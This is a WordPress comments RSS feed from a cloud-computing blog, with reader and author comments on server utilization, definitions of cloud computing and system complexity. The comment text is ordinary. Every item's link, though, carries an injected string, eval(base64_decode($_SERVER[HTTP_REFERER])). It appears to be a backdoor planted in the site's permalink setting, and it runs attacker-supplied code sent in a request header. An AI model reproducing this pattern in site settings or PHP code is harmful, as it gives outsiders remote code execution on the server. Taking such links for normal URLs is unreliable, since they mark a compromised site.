<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments for Cloudology*</title>
	<atom:link href="http://steveoberlin.com/cloudology/?feed=comments-rss2" rel="self" type="application/rss+xml" />
	<link>http://steveoberlin.com/cloudology</link>
	<description>[*The study of efficient and transparent delivery of elastic IT-based services and applications]</description>
	<pubDate>Fri, 10 Sep 2010 17:24:48 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
		<item>
		<title>Comment on 500 Words Or Less by jsale</title>
		<link>http://steveoberlin.com/cloudology/2010/01/28/500-words-or-less/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-244</link>
		<dc:creator>jsale</dc:creator>
		<pubDate>Sat, 13 Feb 2010 23:16:08 +0000</pubDate>
		<guid isPermaLink="false">http://steveoberlin.com/cloudology/?p=99#comment-244</guid>
		<description>I am shocked and chagrined, too! I can't believe you've had a blog for a year and I didn't know about it. I've been tracking your for several years (not much of a web presence for such an alpha geek until this blog). I admit I haven't googled your name in a while, tho', until this morning. It has been too long, eh? Speaking of Mitre, I did some work for them several years ago on their TIDES project. I'm currently at SDSC. Look me up, eh?</description>
		<content:encoded><![CDATA[<p>I am shocked and chagrined, too! I can&#8217;t believe you&#8217;ve had a blog for a year and I didn&#8217;t know about it. I&#8217;ve been tracking your for several years (not much of a web presence for such an alpha geek until this blog). I admit I haven&#8217;t googled your name in a while, tho&#8217;, until this morning. It has been too long, eh? Speaking of Mitre, I did some work for them several years ago on their TIDES project. I&#8217;m currently at SDSC. Look me up, eh?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on The Elephant in the Computer Room by Steve O.</title>
		<link>http://steveoberlin.com/cloudology/2009/03/05/the-elephant-in-the-computer-room/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-11</link>
		<dc:creator>Steve O.</dc:creator>
		<pubDate>Tue, 31 Mar 2009 15:14:29 +0000</pubDate>
		<guid isPermaLink="false">http://steveoberlin.com/cloudology/?p=69#comment-11</guid>
		<description>Thanks, Cloudwatcher, for the comments.   I can't dismiss "average server utilization" as a valid metric, but do think we agree that mindless pursuit of increased utilization alone could foolishly sacrifice service levels, which are way more important as they directly support the operation of the enterprise, while increasing utilization just saves some money. 

I couldn't agree more with you that dynamic scaling of services -- "agility" -- is what really matters.  Increased agility increases business competitiveness and can help grow the top line -- again, way more important than merely reducing the IT budget.</description>
		<content:encoded><![CDATA[<p>Thanks, Cloudwatcher, for the comments.   I can&#8217;t dismiss &#8220;average server utilization&#8221; as a valid metric, but do think we agree that mindless pursuit of increased utilization alone could foolishly sacrifice service levels, which are way more important as they directly support the operation of the enterprise, while increasing utilization just saves some money. </p>
<p>I couldn&#8217;t agree more with you that dynamic scaling of services &#8212; &#8220;agility&#8221; &#8212; is what really matters.  Increased agility increases business competitiveness and can help grow the top line &#8212; again, way more important than merely reducing the IT budget.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on The Elephant in the Computer Room by Cloudwatcher</title>
		<link>http://steveoberlin.com/cloudology/2009/03/05/the-elephant-in-the-computer-room/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-10</link>
		<dc:creator>Cloudwatcher</dc:creator>
		<pubDate>Mon, 30 Mar 2009 19:35:27 +0000</pubDate>
		<guid isPermaLink="false">http://steveoberlin.com/cloudology/?p=69#comment-10</guid>
		<description>It's my guess that improved "average server utilization rates" are not a measurement worth pursuing -- ever!  I know this is heresy in the cloud but you are dead right:  it's the service not the server that matters.   

What really matters is how fast an enterprise can add servers to - or release them from a service/application.  (Has anyone thought to popularize such a measurement?)  This sort of dynamic provisioning will invariably cause server utilzation rates to rise.  More importantly the current availabiltiy threshold of the service will not only be protected but it should be vastly improved.   

I'm not sure how focusing on server utilization as an end goal will lead to anything but false positives while jeopardizing a service's availability.</description>
		<content:encoded><![CDATA[<p>It&#8217;s my guess that improved &#8220;average server utilization rates&#8221; are not a measurement worth pursuing &#8212; ever!  I know this is heresy in the cloud but you are dead right:  it&#8217;s the service not the server that matters.   </p>
<p>What really matters is how fast an enterprise can add servers to - or release them from a service/application.  (Has anyone thought to popularize such a measurement?)  This sort of dynamic provisioning will invariably cause server utilzation rates to rise.  More importantly the current availabiltiy threshold of the service will not only be protected but it should be vastly improved.   </p>
<p>I&#8217;m not sure how focusing on server utilization as an end goal will lead to anything but false positives while jeopardizing a service&#8217;s availability.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on &#8220;Now, that&#8217;s a knife&#8230;&#8221; by jldupont</title>
		<link>http://steveoberlin.com/cloudology/2009/02/18/now-thats-a-knife/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-7</link>
		<dc:creator>jldupont</dc:creator>
		<pubDate>Wed, 18 Feb 2009 20:12:49 +0000</pubDate>
		<guid isPermaLink="false">http://steveoberlin.com/cloudology/?p=65#comment-7</guid>
		<description>Hi  Steve - I believe that the term "Cloud Computing" is ill defined at the moment because it is so nascent.  I haven't myself settled on a satisfactory definition: over time, it is probably the business pressures that will help define the boundaries of what people accept as "Cloud Computing".</description>
		<content:encoded><![CDATA[<p>Hi  Steve - I believe that the term &#8220;Cloud Computing&#8221; is ill defined at the moment because it is so nascent.  I haven&#8217;t myself settled on a satisfactory definition: over time, it is probably the business pressures that will help define the boundaries of what people accept as &#8220;Cloud Computing&#8221;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on The Cloudology Manifesto by Steve O.</title>
		<link>http://steveoberlin.com/cloudology/2009/02/03/welcome-to-cloudology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-6</link>
		<dc:creator>Steve O.</dc:creator>
		<pubDate>Thu, 12 Feb 2009 15:53:47 +0000</pubDate>
		<guid isPermaLink="false">http://steveoberlin.com/cloudology/?p=38#comment-6</guid>
		<description>Excellent points, Mastermark, both about complexity being the harder problem (mere scale without complexity is relatively easy; see HPC), and the likelihood of human-like cognition being the best way to program our systems to self-manage their own complexity.  I'm okay with getting our systems to think more like us, just think we need to try harder to think more like them (in the sense of using precise data representation, consistent logic, error detection, etc., not the human calculator sense).  Thanks for the comments; fresh fruit is always welcome.</description>
		<content:encoded><![CDATA[<p>Excellent points, Mastermark, both about complexity being the harder problem (mere scale without complexity is relatively easy; see HPC), and the likelihood of human-like cognition being the best way to program our systems to self-manage their own complexity.  I&#8217;m okay with getting our systems to think more like us, just think we need to try harder to think more like them (in the sense of using precise data representation, consistent logic, error detection, etc., not the human calculator sense).  Thanks for the comments; fresh fruit is always welcome.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on The Cloudology Manifesto by mastermark</title>
		<link>http://steveoberlin.com/cloudology/2009/02/03/welcome-to-cloudology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-5</link>
		<dc:creator>mastermark</dc:creator>
		<pubDate>Thu, 12 Feb 2009 03:55:45 +0000</pubDate>
		<guid isPermaLink="false">http://steveoberlin.com/cloudology/?p=38#comment-5</guid>
		<description>An auspicious debut.  As a sitter on the sidelines of the fray you have hereby joined (and an occasional thrower of fruit) I can tell you that you are very welcome.

In the interest of being sceptical, I can't resist questioning your assessment of human wetware (I love that term. I think I'll go re-read some Rudy Rucker).

As we move towards systems of ever greater complexity*, enabled by both the technologies and the economics of the cloud, I suspect that we are going to find ourselves desperately trying to find a way to program our digital hardware to behave in ways that come to emulate the "poor human brain" more and more.  Things like "pattern recognition and classification, generalization, and approximating solutions to algorithmically-intractable problems" are, I suspect, going to be precisely the sorts of problems we need to solve.

* There seems to be an assumption amongst many in the ICT business that the material difference caused by "the Cloud" is one of scale in the dimension of size. I'm sceptical of that. I think the more profound change is one of complexity. People who really get some of this are quick to point out that the advantage of "elastic" infrastructures is not being able to "spin one up" on demand, but the ability to turn things off, on demand.  To which I think, yes, but am then troubled by the idea of entire systems winking in and out of existence like particles in vacuum fluctuations...</description>
		<content:encoded><![CDATA[<p>An auspicious debut.  As a sitter on the sidelines of the fray you have hereby joined (and an occasional thrower of fruit) I can tell you that you are very welcome.</p>
<p>In the interest of being sceptical, I can&#8217;t resist questioning your assessment of human wetware (I love that term. I think I&#8217;ll go re-read some Rudy Rucker).</p>
<p>As we move towards systems of ever greater complexity*, enabled by both the technologies and the economics of the cloud, I suspect that we are going to find ourselves desperately trying to find a way to program our digital hardware to behave in ways that come to emulate the &#8220;poor human brain&#8221; more and more.  Things like &#8220;pattern recognition and classification, generalization, and approximating solutions to algorithmically-intractable problems&#8221; are, I suspect, going to be precisely the sorts of problems we need to solve.</p>
<p>* There seems to be an assumption amongst many in the ICT business that the material difference caused by &#8220;the Cloud&#8221; is one of scale in the dimension of size. I&#8217;m sceptical of that. I think the more profound change is one of complexity. People who really get some of this are quick to point out that the advantage of &#8220;elastic&#8221; infrastructures is not being able to &#8220;spin one up&#8221; on demand, but the ability to turn things off, on demand.  To which I think, yes, but am then troubled by the idea of entire systems winking in and out of existence like particles in vacuum fluctuations&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Cloud Burst by William Vambenepe&#8217;s blog &#187; Blog Archive &#187; UCI: setting RDF for failure?</title>
		<link>http://steveoberlin.com/cloudology/2009/02/10/cloud-burst/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3</link>
		<dc:creator>William Vambenepe&#8217;s blog &#187; Blog Archive &#187; UCI: setting RDF for failure?</dc:creator>
		<pubDate>Wed, 11 Feb 2009 07:43:16 +0000</pubDate>
		<guid isPermaLink="false">http://steveoberlin.com/strange/?p=12#comment-3</guid>
		<description>[...] 2009/2/10: You should read Steve Oberlin's take on this overall taxonomy/ontology discussion. He knows the topic, carefully reads the posts that he [...]</description>
		<content:encoded><![CDATA[<p>[...] 2009/2/10: You should read Steve Oberlin&#8217;s take on this overall taxonomy/ontology discussion. He knows the topic, carefully reads the posts that he [...]</p>
]]></content:encoded>
	</item>
</channel>
</rss>
